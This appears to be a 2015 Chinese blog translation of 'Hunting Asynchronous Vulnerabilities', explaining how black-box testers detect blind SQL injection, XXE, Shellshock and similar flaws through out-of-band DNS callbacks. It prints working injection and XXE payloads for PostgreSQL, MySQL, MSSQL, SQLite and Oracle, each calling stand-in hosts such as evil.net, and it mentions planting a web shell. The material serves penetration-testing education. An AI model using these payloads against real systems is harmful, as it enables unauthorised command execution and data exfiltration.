黑盒测试中那些"看不见的"漏洞
小饼仔 | 2015-09-16 17:01
原文:Hunting Asynchronous Vulnerabilities
简单翻译下大致意思
在黑盒测试中,一般我们通过请求的响应来判断一个漏洞是否存在,比如
- 是否触发错误消息
- 响应内容是否不同
- 是否有时间延迟
但有一些漏洞触发后并不会造成响应不同,或者不会立刻执行,比如二次SQL注入、命令注入但只会在夜间crontab执行等,导致我们无法通过一般的手段来判断是否存在漏洞。
这类“看不见的”漏洞大致可以分为三类:
- 发生在后台线程的Server端漏洞。比如在队列中的SQL注入查询,你不知道这个注入查询什么时候会被执行,也许payload会触发时间延迟,但是这个延迟仅影响后台线程,无法在前台被检测到。
- Blind漏洞,需要二次事件来触发。比如Blind XSS、二次SQL注入
- 不会造成响应不同的漏洞,并且这类漏洞不支持任何方法来触发时间延迟。如Blind XEE 和 XPath注入
为了能够检测到此类漏洞,我们需要一个能够促发callback的payload,callback能够从有漏洞的应用向攻击者控制的机器上发起连接,比如Shellshock的例子
() { :;}; echo 1 > /dev/udp/evil.com/53
如果服务器存在Shellshock漏洞,evil.com的53端口就会受到一个UDP包。
通过触发callback的方法,我们不需要依赖应用的输出就可以来判断漏洞是否存在。
因为DNS查询几乎不会被防火墙拦截,因此非常适合作为触发callback。
Drops之前有人发过一篇DNS: More than just names介绍了如何利用DNS来攻击,有兴趣可以看一看
下面介绍一些不同漏洞类型下的DNS callback
XML漏洞
下面代码利用6种不同的XML漏洞来尝试触发callback(包含evil.net的url)
<?xml version="1.0" encoding="utf-8"?> <?xml-stylesheet type="text/xml" href="http://xsl.evil.net/a.xsl"?> <!DOCTYPE root PUBLIC "-//A/B/EN" http://dtd.evil.net/a.dtd [ <!ENTITY % remote SYSTEM "http://xxe2.evil.net/a"> <!ENTITY xxe SYSTEM "http://xxe1.evil.net/a"> %remote; ]> <root> <foo>&xxe;</foo> <x xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://xi.evil.net/" ></x> <y xmlns=http://a.b/ xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://a.b/ http://schemalocation.evil.net/a.xsd">a</y> </root>
最后两个payload,利用了XInclude 和 schemaLocation,因为不需要完全控制XML文档,因此特别有效
SQL注入
Postgresql
利用copy 命令,可以调用任意的shell命令(需要一定权限)
copy (select '') to program 'nslookup evil.net'
如果用ping命令在linux下会阻塞执行的线程,因此这里用nslookup
MySQL 和 SQLite3
Windows下,大多数文件系统函数都支持UNC path,UNC path能够引用远程server的资源,因此能触发DNS查询。也就是说Windows下几乎所有的I/O函数都能够触发callback
SQLite3
;attach database '//evil.net/z' as 'z'-- - (SELECT load_extension('//foo'))
第一种需要支持batched query,第二种需要启用load_extension 函数
MySQL
LOAD_FILE('\\\\evil.net\\foo') SELECT … INTO OUTFILE '\\\\evil.net\foo'
MSSQL
SELECT * FROM openrowset('SQLNCLI', 'evil.net';'a', 'select 1 from dual')
(需要 'ad hoc distributed queries')
EXEC master.dbo.xp_fileexist '\\\\evil.net\\foo'
(需要 sysadmin 权限)
BULK INSERT mytable FROM '\\\\evil.net$file'
(需要 bulk insert privileges)
EXEC master.dbo.xp_dirtree '\\\\evil.net\\foo'
(最理想的 – 需要 sysadmin 权限 ,DNS 查询后会检查权限)
Oracle SQL
Oracle提供很多方法来触发callback,如UTL_HTTP, UTL_TCP, UTL_SMTP, UTL_INADDR, UTL_FILE…,但是都需要各种权限。
但是可以利用内置的XML解析函数,低权限用户也可以调用。最近Oracle也被发现存在XXE注入漏洞,因此我们可以利用XXE来触发callback
SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://evil.net/"> %remote;]>'),'/l')
Write-based callbacks
因为非WINDOWS系统不支持UNC paths,我们可以利用写文件函数来触发callback
最直接的方式就是写一个web shell,前提是需要知道webroot路径
修改mailspools / maildrops,控制邮件发送,这个需要root权限,没什么用
利用mysql函数来修改配置文件,将修改 bind-address成我们的hostname,然后在dns响应返回0.0.0.0,让mysql绑定所以可用接口
shell命令注入和 XSS部分大家参考下原文